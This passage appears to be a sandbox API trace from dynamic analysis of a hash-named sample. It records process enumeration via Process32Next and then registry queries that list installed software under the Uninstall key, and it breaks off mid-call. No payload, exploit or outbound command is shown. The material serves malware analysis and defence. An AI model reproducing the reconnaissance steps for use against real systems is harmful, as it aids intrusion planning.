(in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e20 | out: hHeap=0x2110000) returned 1 [0099.251] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="performance building.exe")) returned 1 [0099.252] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.252] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0xb2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0099.253] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d40 | out: hHeap=0x2110000) returned 1 [0099.253] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0099.254] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e20 | out: hHeap=0x2110000) returned 1 [0099.254] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.255] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430dc0 | out: hHeap=0x2110000) returned 1 [0099.255] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0099.256] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c40 | out: hHeap=0x2110000) returned 1 [0099.256] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0099.257] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c80 | out: hHeap=0x2110000) returned 1 [0099.257] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0099.259] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ec0 | out: hHeap=0x2110000) returned 1 [0099.259] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0099.260] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430b60 | out: hHeap=0x2110000) returned 1 [0099.260] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x37c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0099.261] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f20 | out: hHeap=0x2110000) returned 1 [0099.261] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe")) returned 1 [0099.262] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d40 | out: hHeap=0x2110000) returned 1 [0099.262] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0099.263] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d80 | out: hHeap=0x2110000) returned 1 [0099.263] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x19f448, th32ProcessID=0x19f490, th32DefaultHeapID=0x211122c, th32ModuleID=0x3c, cntThreads=0x19f368, th32ParentProcessID=0x49bb00, pcPriClassBase=1700936, dwFlags=0x19f3d8, szExeFile="")) returned 0 [0099.263] CloseHandle (hObject=0x2fc) returned 1 [0099.264] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0099.267] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e80 | out: hHeap=0x2110000) returned 1 [0099.267] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb80 | out: phkResult=0x19eb80*=0x2fc) returned 0x0 [0099.268] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x0, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="AddressBook", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.268] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook") returned 63 [0099.268] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.268] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.268] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.268] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Connection Manager", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.269] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager") returned 70 [0099.269] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.269] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.269] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.269] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x2, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DirectDrawEx", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.269] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx") returned 64 [0099.269] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.269] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.269] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.269] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x3, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DXM_Runtime", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.269] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime") returned 63 [0099.269] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.269] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.269] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.269] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x4, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Fontcore", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.269] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore") returned 60 [0099.269] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.270] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.270] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.270] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x5, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE40", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.270] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40") returned 56 [0099.270] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.270] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.270] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.270] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x6, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE4Data", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.270] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data") returned 59 [0099.270] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.270] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.270] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.270] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x7, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE5BAKEX", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.270] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX") returned 60 [0099.270] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.270] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.270] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.270] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x8, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEData", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.270] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData") returned 58 [0099.271] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.271] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.271] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.271] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x9, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MobileOptionPack", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.271] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack") returned 68 [0099.271] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.271] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.271] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.271] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xa, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MPlayer2", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.271] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2") returned 60 [0099.271] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.271] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.271] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.271] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xb, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="SchedulingAgent", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.271] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent") returned 67 [0099.271] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.271] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.272] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.272] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xc, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="WIC", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.272] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC") returned 55 [0099.272] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.272] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x53, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.272] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.272] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xd, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{0FA68574-690B-4B00-89AA-B28946231449}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.272] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{0FA68574-690B-4B00-89AA-B28946231449}") returned 90 [0099.272] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{0FA68574-690B-4B00-89AA-B28946231449}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.272] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508", lpcbData=0x19eb90*=0x3f) returned 0x0 [0099.272] GetLastError () returned 0x12 [0099.272] SetLastError (dwErrCode=0x12) [0099.272] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="14.25.28508", lpcbData=0x19eb90*=0xc) returned 0x0 [0099.272] GetLastError () returned 0x12 [0099.273] SetLastError (dwErrCode=0x12) [0099.273] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x3430048 [0099.273] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f40 | out: hHeap=0x2110000) returned 1 [0099.273] GetLastError () returned 0x12 [0099.273] SetLastError (dwErrCode=0x12) [0099.273] GetLastError () returned 0x12 [0099.273] SetLastError (dwErrCode=0x12) [0099.273] GetLastError () returned 0x12 [0099.273] SetLastError (dwErrCode=0x12) [0099.273] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.273] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xe, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.273] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 90 [0099.273] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.310] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpcbData=0x19eb90*=0x3b) returned 0x0 [0099.311] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430f40 [0099.311] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0099.311] GetLastError () returned 0x12 [0099.311] SetLastError (dwErrCode=0x12) [0099.311] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="12.0.21005", lpcbData=0x19eb90*=0xb) returned 0x0 [0099.311] GetLastError () returned 0x12 [0099.311] SetLastError (dwErrCode=0x12) [0099.311] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xd8) returned 0x3430048 [0099.311] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f40 | out: hHeap=0x2110000) returned 1 [0099.311] GetLastError () returned 0x12 [0099.311] SetLastError (dwErrCode=0x12) [0099.311] GetLastError () returned 0x12 [0099.311] SetLastError (dwErrCode=0x12) [0099.311] GetLastError () returned 0x12 [0099.312] SetLastError (dwErrCode=0x12) [0099.312] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.312] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0xf, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.312] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757") returned 100 [0099.312] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.312] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.312] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.312] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x10, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.312] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173") returned 100 [0099.312] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.312] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.312] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.312] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x11, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", lpcchName=0x19eb90, 